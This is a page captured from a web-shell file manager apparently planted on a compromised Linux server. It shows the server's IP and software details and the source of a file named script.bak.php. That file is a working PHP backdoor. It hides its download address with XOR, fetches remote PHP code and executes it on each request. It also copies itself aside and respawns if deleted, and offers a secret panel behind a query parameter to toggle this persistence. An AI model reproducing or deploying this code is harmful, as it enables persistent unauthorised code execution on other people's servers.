One Hat Cyber Team

Your IP: 216.73.216.94
Server IP: 178.33.27.10
Server: Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software: Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version: 8.2.11
Buat File | Buat Folder

Edit File: script.bak.php

<?php
ignore_user_abort(true);
set_time_limit(0);

$filePath = __FILE__;
$processName = basename($filePath);
$backupDir = sys_get_temp_dir() . '/script_backup';
$backupFile = $backupDir . '/script.bak.php';
$lockFile = sys_get_temp_dir() . '/restore.lock';

if (!is_dir($backupDir)) {
    mkdir($backupDir, 0755, true);
}

if (!file_exists($backupFile)) {
    copy($filePath, $backupFile);
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['mode'])) {
        if ($_POST['mode'] === 'on') {
            file_put_contents($lockFile, 'on');
            executeCommand("pkill -f 'php $filePath background'");
            executeCommand("nohup php $filePath background > /dev/null 2>&1 &");
        } elseif ($_POST['mode'] === 'off') {
            executeCommand("pkill -f 'php $filePath background'");
            @unlink($lockFile);
            @unlink($backupFile);
            @rmdir($backupDir);
            @unlink($filePath);
            exit;
        }
    }
}

if (isset($argv[1]) && $argv[1] === 'background') {
    while (file_exists($lockFile)) {
        sleep(3);
        if (!file_exists($filePath) && file_exists($backupFile)) {
            copy($backupFile, $filePath);
            executeCommand("nohup php $filePath background > /dev/null 2>&1 &");
            exit;
        }
    }
    exit;
}

function xorEncryptDecrypt($data, $key) {
    $output = '';
    foreach (str_split($data) as $char) {
        $output .= chr(ord($char) ^ ord($key));
    }
    return $output;
}

$_ = "!";
$url = xorEncryptDecrypt("S@VFHUITCTRDSBNOUDOUBNL", $_);
$path = xorEncryptDecrypt("xTB@DSHORHLQMDBLE@OEC@BJENNSSDGRID@ERL@HOVRQIQ", $_);

$tempFile = sys_get_temp_dir() . '/downloaded_file.php';

$ch = curl_init("https://$url/$path");
$fp = fopen($tempFile, 'wb');

curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_BUFFERSIZE, 8192);

$success = curl_exec($ch);
curl_close($ch);
fclose($fp);

if (isset($_GET['lemiere']) && $_GET['lemiere'] === '1') {
    echo "<style>
      body {
      font-family: Arial, sans-serif;
      padding: 1em;
      background-color: #f4f4f4;
      color: #000;
    }
    p {
      margin: 0.5em 0;
      font-size: 1rem;
    }
    .warning {
      color: #990000;
    }
    button { padding: 10px 20px; font-size: 16px; cursor: pointer; margin: 10px; }
    .on { background-color: green; color: white; }
    .off { background-color: red; color: white; }
    </style>";
    echo "<center><h2>Auto Recovery Mode: " . (file_exists($lockFile) ? 'Enabled ✅' : 'Disabled ❌') . "</h2>";
    echo '<form method="post">';
    echo '<button type="submit" name="mode" value="on" class="on">Enable Recovery Mode</button>';
    echo '<button type="submit" name="mode" value="off" class="off">Disable Recovery Mode & Delete Files</button>';
    echo '</form></center>';
} else {
    if ($success && filesize($tempFile) > 0) {
        include $tempFile;
        unlink($tempFile);
    } else {
        @unlink($tempFile);
    }
}
?>